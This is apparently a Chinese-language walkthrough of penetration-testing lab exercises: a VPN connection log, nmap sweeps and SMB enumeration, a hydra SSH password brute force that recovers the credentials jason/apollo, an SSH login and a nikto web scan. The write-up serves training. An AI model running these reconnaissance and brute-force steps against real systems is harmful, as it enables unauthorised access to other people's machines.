2023-02-12 00:40:59 VERIFY OK: depth=1, O=WatchGuard_Technologies, OU=Fireware, CN=Fireware SSLVPN (SN D022036160E2D 2018-04-16 18:30:59 GMT) CA
2023-02-12 00:40:59 Validating certificate extended key usage
2023-02-12 00:40:59 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
2023-02-12 00:40:59 VERIFY EKU OK
2023-02-12 00:40:59 VERIFY OK: depth=0, O=WatchGuard_Technologies, OU=Fireware, CN=Fireware SSLVPN Server
2023-02-12 00:40:59 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-RSA-CHACHA20-POLY1305, peer certificate: 2048 bit RSA, signature: RSA-SHA256
2023-02-12 00:40:59 [Fireware SSLVPN Server] Peer Connection Initiated with [AF_INET]122.117.124.163:443
2023-02-12 00:41:00 SENT CONTROL [Fireware SSLVPN Server]: 'PUSH_REQUEST' (status=1)
2023-02-12 00:41:00 PUSH: Received control message: 'PUSH_REPLY,route 192.168.200.0 255.255.255.0,route 172.16.0.0 255.255.0.0,dhcp-option DOMAIN cyberlab.red,dhcp-option DNS 172.16.5.1,route-gateway 192.168.200.1,topology subnet,ping 10,ping-restart 60,ifconfig 192.168.200.13 255.255.255.0,peer-id 0'
2023-02-12 00:41:00 OPTIONS IMPORT: timers and/or timeouts modified
2023-02-12 00:41:00 OPTIONS IMPORT: --ifconfig/up options modified
2023-02-12 00:41:00 OPTIONS IMPORT: route options modified
2023-02-12 00:41:00 OPTIONS IMPORT: route-related options modified
2023-02-12 00:41:00 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified
2023-02-12 00:41:00 OPTIONS IMPORT: peer-id set
2023-02-12 00:41:00 OPTIONS IMPORT: adjusting link_mtu to 1626
2023-02-12 00:41:00 Using peer cipher 'AES-256-CBC'
2023-02-12 00:41:00 Outgoing Data Channel: Cipher 'AES-256-CBC' initialized with 256 bit key
2023-02-12 00:41:00 Outgoing Data Channel: Using 256 bit message hash 'SHA256' for HMAC authentication
2023-02-12 00:41:00 Incoming Data Channel: Cipher 'AES-256-CBC' initialized with 256 bit key
2023-02-12 00:41:00 Incoming Data Channel: Using 256 bit message hash 'SHA256' for HMAC authentication
2023-02-12 00:41:00 net_route_v4_best_gw query: dst 0.0.0.0
2023-02-12 00:41:00 net_route_v4_best_gw result: via 192.168.44.2 dev eth0
2023-02-12 00:41:00 ROUTE_GATEWAY 192.168.44.2/255.255.255.0 IFACE=eth0 HWADDR=00:0c:29:dd:37:17
2023-02-12 00:41:00 TUN/TAP device tun1 opened
2023-02-12 00:41:00 net_iface_mtu_set: mtu 1500 for tun1
2023-02-12 00:41:00 net_iface_up: set tun1 up
2023-02-12 00:41:00 net_addr_v4_add: 192.168.200.13/24 dev tun1
2023-02-12 00:41:00 net_route_v4_add: 192.168.200.0/24 via 192.168.200.1 dev [NULL] table 0 metric -1
2023-02-12 00:41:00 net_route_v4_add: 172.16.0.0/16 via 192.168.200.1 dev [NULL] table 0 metric -1
2023-02-12 00:41:00 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
2023-02-12 00:41:00 Initialization Sequence Completed
以上是vpn匯入方式
┌──(kali㉿kali)-[~]
└─$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:dd:37:17 brd ff:ff:ff:ff:ff:ff
inet 192.168.44.235/24 brd 192.168.44.255 scope global dynamic noprefixroute eth0
valid_lft 1229sec preferred_lft 1229sec
inet6 fe80::4db4:40fa:8293:1d0b/64 scope link noprefixroute
valid_lft forever preferred_lft forever
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.12/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::4af0:9003:609f:1f74/64 scope link stable-privacy
valid_lft forever preferred_lft forever
5: tun1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.200.13/24 scope global tun1
valid_lft forever preferred_lft forever
inet6 fe80::2a9d:3ae4:df95:5272/64 scope link stable-privacy
valid_lft forever preferred_lft forever
測試是否連上VPN:
如果以上方法不管用,使用另外一個連接VPN的方式--用windows。從網站上下載ovpn副檔名後,下載openvpn的windows版並匯入。之後應該會出現:
接下來就可以直接用windows的遠端桌面,連到172.16.253.xx
,xx是一個不超過22的數字,是kali環境。
接下來才能做以下題目:
這裡做第二題(在剛剛連到的172.16網段上的kali),首先就是照上面的指令打。只是,windows電腦名稱的話,只要掃445 port就好。
┌──(kali㉿kali)-[~]
└─$ nmap 172.16.1-20.* -sC -sV -p445
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-12 02:06 EST
Stats: 0:02:04 elapsed; 4079 hosts completed (17 up), 1024 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 02:08 (0:00:00 remaining)
Stats: 0:02:05 elapsed; 4079 hosts completed (17 up), 1024 undergoing Ping Scan
Parallel DNS resolution of 5 hosts. Timing: About 0.00% done
Stats: 0:02:05 elapsed; 4079 hosts completed (17 up), 1024 undergoing Ping Scan
Parallel DNS resolution of 5 hosts. Timing: About 0.00% done
Nmap scan report for 172.16.1.51
Host is up (0.0019s latency).
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Nmap scan report for 172.16.1.67
Host is up (0.0017s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.1.87
Host is up (0.0021s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: SEH-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m27s, deviation: 4h37m02s, median: 29s
|_nbstat: NetBIOS name: SEH-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:f7 (Microsoft)
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: SEH-PC
| NetBIOS computer name: SEH-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:44+08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:44
|_ start_date: 2023-02-12T04:01:40
Nmap scan report for 172.16.1.105
Host is up (0.0031s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 29s
|_nbstat: NetBIOS name: WIN-FH0N2VGINDJ, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:2d:e7:92 (Microsoft)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:36
|_ start_date: 2021-05-28T17:04:49
Nmap scan report for 172.16.1.112
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 30s
|_nbstat: NetBIOS name: ZACH, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:37 (Microsoft)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:45
|_ start_date: 2022-10-15T07:48:25
Nmap scan report for 172.16.1.120
Host is up (0.0100s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: FULECMS
Host script results:
|_clock-skew: mean: -2h39m28s, deviation: 4h37m05s, median: 29s
|_nbstat: NetBIOS name: FULECMS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: fulecms
| NetBIOS computer name: FULECMS\x00
| Domain name: \x00
| FQDN: fulecms
|_ System time: 2023-02-12T15:09:39+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:44
|_ start_date: N/A
Nmap scan report for www.LuxuryTreats.com (172.16.1.130)
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 28s, deviation: 0s, median: 27s
|_nbstat: NetBIOS name: WINSERVER2012, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:2d (Microsoft)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:42
|_ start_date: 2022-10-20T18:10:24
Nmap scan report for 172.16.1.134
Host is up (0.0038s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.1.153
Host is up (0.0040s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.1.157
Host is up (0.0020s latency).
PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
Nmap scan report for 172.16.1.191
Host is up (0.0015s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m27s, deviation: 4h37m04s, median: 30s
| smb-os-discovery:
| OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
| Computer name: WinPower
| NetBIOS computer name: WINPOWER\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:42+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:38
|_ start_date: 2023-02-12T04:01:52
Nmap scan report for 172.16.1.222
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.3.124
Host is up (0.0028s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2016 Essentials 14393 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: WIN-56MI46O6T68; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m27s, deviation: 4h37m05s, median: 30s
|_nbstat: NetBIOS name: WIN-56MI46O6T68, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:92:88:77 (Microsoft)
| smb-os-discovery:
| OS: Windows Server 2016 Essentials 14393 (Windows Server 2016 Essentials 6.3)
| Computer name: WIN-56MI46O6T68
| NetBIOS computer name: WIN-56MI46O6T68\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:40+08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:38
|_ start_date: 2022-11-01T06:49:25
Nmap scan report for 172.16.3.125
Host is up (0.0049s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.3.126
Host is up (0.0031s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.3.128
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.5.1
Host is up (0.00062s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
Host script results:
|_clock-skew: 29s
|_nbstat: NetBIOS name: DASHBOARD, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:92:88:08 (Microsoft)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:45
|_ start_date: N/A
Nmap scan report for 172.16.19.2
Host is up (0.0026s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: IRMA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h39m25s, deviation: 4h37m01s, median: 30s
|_nbstat: NetBIOS name: IRMA, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:2d:e7:b6 (Microsoft)
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IRMA
| NetBIOS computer name: IRMA\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-02-12T15:09:46+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:46
|_ start_date: 2021-05-22T09:26:30
Nmap scan report for 172.16.19.9
Host is up (0.0069s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 30s, deviation: 0s, median: 30s
|_nbstat: NetBIOS name: FRANKLIN, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:36:f5 (Microsoft)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-12T07:09:45
|_ start_date: 2023-02-12T04:01:46
Nmap scan report for 172.16.20.3
Host is up (0.0083s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.20.6
Host is up (0.0043s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Nmap scan report for 172.16.20.7
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
445/tcp closed microsoft-ds
Post-scan script results:
| clock-skew:
| -2h39m27s:
| 172.16.1.191
| 172.16.19.9
| 172.16.19.2
| 172.16.3.124
|_ 172.16.1.112
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5120 IP addresses (22 hosts up) scanned in 184.10 seconds
可以知道是172.16.19.2,從NetBIOS computer name看出。
接下來是下一題:
起手式,就是先nmap:
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.3.128
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-12 02:40 EST
Nmap scan report for 172.16.3.128
Host is up (0.0074s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 5.03 seconds
確定開啟的port後,再針對這些port做詳細的掃描:
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -O -A 172.16.3.128 -p 22 1 ⨯
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-12 02:36 EST
Nmap scan report for 172.16.3.128
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ce:8e:b1:74:09:f0:e9:ac:52:08:10:f2:d8:2e:b6:e0 (DSA)
| 2048 a2:c1:d9:a1:e1:f7:30:2e:ae:85:cb:05:0c:35:59:ed (RSA)
| 256 0d:86:58:bb:fb:1c:32:2e:0d:70:f9:5c:f1:e1:3e:ca (ECDSA)
|_ 256 b6:e0:4f:fd:17:be:8f:89:1d:a2:9a:0c:fe:45:a3:ef (ED25519)
MAC Address: 00:15:5D:92:88:5C (Microsoft)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.34 ms 172.16.3.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.27 seconds
但是上面第一個指令沒加任何參數,只會掃最常見的1000個port,如果要掃全部port,可以打以下指令:
┌──(kali㉿kali)-[~]
└─$ sudo nmap 172.16.3.128 -p 1-65535
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-19 01:17 EST
Nmap scan report for 172.16.3.128
Host is up (0.043s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 49.72 seconds
確定真的只有開22 port,所以接下來只要猜ssh的密碼即可。這裡先安裝猜密碼要用的檔案:
┌──(kali㉿kali)-[~]
└─$ sudo apt --fix-broken install seclists
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
catfish freeglut3 gir1.2-xfconf-0 libatk1.0-data libcfitsio9 libclang-cpp11
libev4 libexporter-tiny-perl libflac8 libfmt8 libgdal31 libgeos3.11.0
libgs9-common libgssdp-1.2-0 libgupnp-1.2-1 libhttp-server-simple-perl
libilmbase25 liblerc3 liblist-moreutils-perl liblist-moreutils-xs-perl
libllvm11 libnginx-mod-http-geoip libnginx-mod-http-image-filter
libnginx-mod-http-xslt-filter libnginx-mod-mail libnginx-mod-stream
libnginx-mod-stream-geoip libopenexr25 libopenh264-6 libperl5.34
libplacebo192 libpoppler118 libprotobuf23 libpython3.10 libpython3.10-dev
libpython3.10-minimal libpython3.10-stdlib libpython3.9-minimal
libpython3.9-stdlib libsvtav1enc0 libtbb12 libtbbbind-2-5 libtbbmalloc2
libtiff5 libwebsockets16 libwireshark15 libwiretap12 libwsutil13
libzxingcore1 llvm-11 llvm-11-dev llvm-11-linker-tools llvm-11-runtime
llvm-11-tools nginx-common nginx-core openjdk-11-jre perl-modules-5.34
python-pastedeploy-tpl python3-commonmark python3-dataclasses-json
python3-limiter python3-marshmallow-enum python3-mypy-extensions
python3-ntlm-auth python3-requests-ntlm python3-responses python3-speaklater
python3-spyse python3-token-bucket python3-typing-inspect python3.10
python3.10-dev python3.10-minimal python3.9 python3.9-minimal ruby3.0
ruby3.0-dev ruby3.0-doc
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
seclists
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 405 MB of archives.
After this operation, 1,627 MB of additional disk space will be used.
Get:1 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 seclists all 2022.4-0kali1 [405 MB]
Fetched 405 MB in 30s (13.7 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 394243 files and directories currently installed.)
Preparing to unpack .../seclists_2022.4-0kali1_all.deb ...
Unpacking seclists (2022.4-0kali1) ...
Setting up seclists (2022.4-0kali1) ...
Processing triggers for kali-menu (2022.4.1) ...
Processing triggers for wordlists (2023.1.2) ...
┌──(kali㉿kali)-[~]
└─$ cd /usr/share/seclists
安裝完成到安裝目錄看一下:
┌──(kali㉿kali)-[~]
└─$ cd /usr/share/seclists
┌──(kali㉿kali)-[/usr/share/seclists]
└─$ ls -al
total 56
drwxr-xr-x 11 root root 4096 Feb 19 02:20 .
drwxr-xr-x 342 root root 12288 Feb 19 02:19 ..
drwxr-xr-x 9 root root 4096 Feb 19 02:19 Discovery
drwxr-xr-x 9 root root 4096 Feb 19 02:20 Fuzzing
drwxr-xr-x 2 root root 4096 Feb 19 02:20 IOCs
drwxr-xr-x 7 root root 4096 Feb 19 02:20 Miscellaneous
drwxr-xr-x 12 root root 4096 Feb 19 02:20 Passwords
drwxr-xr-x 3 root root 4096 Feb 19 02:20 Pattern-Matching
drwxr-xr-x 8 root root 4096 Feb 19 02:20 Payloads
-rw-r--r-- 1 root root 2101 Nov 22 07:56 README.md
drwxr-xr-x 4 root root 4096 Feb 19 02:20 Usernames
drwxr-xr-x 10 root root 4096 Feb 19 02:20 Web-Shells
┌──(kali㉿kali)-[/usr/share/seclists]
└─$ cd Passwords
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ ls -al
total 258600
drwxr-xr-x 12 root root 4096 Feb 19 02:20 .
drwxr-xr-x 11 root root 4096 Feb 19 02:20 ..
-rw-r--r-- 1 root root 1594 Nov 22 07:56 2020-200_most_used_passwords.txt
-rw-r--r-- 1 root root 3491 Nov 22 07:56 500-worst-passwords.txt
-rw-r--r-- 1 root root 1868 Nov 22 07:56 500-worst-passwords.txt.bz2
drwxr-xr-x 2 root root 4096 Feb 19 02:20 BiblePass
-rw-r--r-- 1 root root 15663259 Nov 22 07:56 bt4-password.txt
-rw-r--r-- 1 root root 7841 Nov 22 07:56 cirt-default-passwords.txt
-rw-r--r-- 1 root root 26 Nov 22 07:56 citrix.txt
-rw-r--r-- 1 root root 611 Nov 22 07:56 clarkson-university-82.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Common-Credentials
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Cracked-Hashes
-rw-r--r-- 1 root root 15069474 Nov 22 07:56 darkc0de.txt
-rw-r--r-- 1 root root 82603 Nov 22 07:56 darkweb2017-top10000.txt
-rw-r--r-- 1 root root 8160 Nov 22 07:56 darkweb2017-top1000.txt
-rw-r--r-- 1 root root 802 Nov 22 07:56 darkweb2017-top100.txt
-rw-r--r-- 1 root root 81 Nov 22 07:56 darkweb2017-top10.txt
-rw-r--r-- 1 root root 71176 Nov 22 07:56 days.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Default-Credentials
-rw-r--r-- 1 root root 13 Nov 22 07:56 der-postillon.txt
-rw-r--r-- 1 root root 73216276 Nov 22 07:56 dutch_common_wordlist.txt
-rw-r--r-- 1 root root 43164090 Nov 22 07:56 dutch_passwordlist.txt
-rw-r--r-- 1 root root 6729365 Nov 22 07:56 dutch_wordlist
-rw-r--r-- 1 root root 3205 Nov 22 07:56 german_misc.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Honeypot-Captures
-rw-r--r-- 1 root root 84476 Nov 22 07:56 Keyboard-Combinations.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Leaked-Databases
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Malware
-rw-r--r-- 1 root root 153850 Nov 22 07:56 months.txt
-rw-r--r-- 1 root root 322069 Nov 22 07:56 Most-Popular-Letter-Passes.txt
-rw-r--r-- 1 root root 1453892 Nov 22 07:56 mssql-passwords-nansh0u-guardicore.txt
-rw-r--r-- 1 root root 40999980 Nov 22 07:56 openwall.net-all.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Permutations
-rw-r--r-- 1 root root 242 Nov 22 07:56 PHP-Magic-Hashes.txt
-rw-r--r-- 1 root root 100206 Nov 22 07:56 probable-v2-top12000.txt
-rw-r--r-- 1 root root 12261 Nov 22 07:56 probable-v2-top1575.txt
-rw-r--r-- 1 root root 1620 Nov 22 07:56 probable-v2-top207.txt
-rw-r--r-- 1 root root 848 Nov 22 07:56 README.md
-rw-r--r-- 1 root root 154919 Nov 22 07:56 richelieu-french-top20000.txt
-rw-r--r-- 1 root root 38268 Nov 22 07:56 richelieu-french-top5000.txt
-rw-r--r-- 1 root root 3150405 Nov 22 07:56 SCRABBLE-hackerhouse.tgz
-rw-r--r-- 1 root root 113166 Nov 22 07:56 scraped-JWT-secrets.txt
-rw-r--r-- 1 root root 56721 Nov 22 07:56 seasons.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 Software
-rw-r--r-- 1 root root 18 Nov 22 07:56 stupid-ones-in-production.txt
-rw-r--r-- 1 root root 3023 Nov 22 07:56 twitter-banned.txt
-rw-r--r-- 1 root root 31312 Nov 22 07:56 unkown-azul.txt
-rw-r--r-- 1 root root 5229 Nov 22 07:56 UserPassCombo-Jay.txt
drwxr-xr-x 2 root root 4096 Feb 19 02:20 WiFi-WPA
-rw-r--r-- 1 root root 8557632 Nov 22 07:56 xato-net-10-million-passwords-1000000.txt
-rw-r--r-- 1 root root 781879 Nov 22 07:56 xato-net-10-million-passwords-100000.txt
-rw-r--r-- 1 root root 76497 Nov 22 07:56 xato-net-10-million-passwords-10000.txt
-rw-r--r-- 1 root root 7399 Nov 22 07:56 xato-net-10-million-passwords-1000.txt
-rw-r--r-- 1 root root 738 Nov 22 07:56 xato-net-10-million-passwords-100.txt
-rw-r--r-- 1 root root 75 Nov 22 07:56 xato-net-10-million-passwords-10.txt
-rw-r--r-- 1 root root 6212177 Nov 22 07:56 xato-net-10-million-passwords-dup.txt
-rw-r--r-- 1 root root 48312893 Nov 22 07:56 xato-net-10-million-passwords.txt
可以看到Passwords裡有許多文件,應該是叫字典檔,挑其中一個1000000筆的,比較大,接下來就是用hydra爆破ssh密碼:
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ hydra -l jason -P xato-net-10-million-passwords-1000000.txt ssh://172.16.3.128
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-19 02:43:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking ssh://172.16.3.128:22/
[STATUS] 86.00 tries/min, 86 tries in 00:01h, 999916 to do in 193:47h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 999706 to do in 168:53h, 14 active
[ERROR] Can not create restore file (./hydra.restore) - Permission denied
[22][ssh] host: 172.16.3.128 login: jason password: apollo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 8 final worker threads did not complete until end.
[ERROR] 8 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-19 02:48:57
小寫l是特定帳號,大寫L是載入帳號的字典檔;小寫p是特定密碼,大寫P是載入密碼的字典檔。可以得知密碼是apollo,接下來利用這帳密登入:
┌──(kali㉿kali)-[/usr/share/seclists/Passwords]
└─$ ssh jason@172.16.3.128
jason@172.16.3.128's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com/
775 packages can be updated.
483 updates are security updates.
Last login: Sat Oct 29 16:20:08 2022 from 192.168.200.15
jason@Ubuntu14:~$ id
uid=1001(jason) gid=1001(jason) groups=1001(jason)
由上指令,可以發現就是一個不是root的使用者。
接下來是lab 2:
剛剛的掃描結果值得注意的點:
接下來用nikto,希望網站主動告訴我們它有哪些目錄:
┌──(kali㉿kali)-[~]
└─$ nikto -host http://172.16.1.142:8888
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.142
+ Target Hostname: 172.16.1.142
+ Target Port: 8888
+ Start Time: 2023-02-19 05:08:09 (GMT-5)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'content-style-type' found, with contents: text/css
+ Uncommon header 'content-script-type' found, with contents: text/javascript
+ Entry '/BlogEngine/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ 7918 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2023-02-19 05:08:25 (GMT-5) (16 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
知道有一個/BlogEngine
目錄,試著連連看:
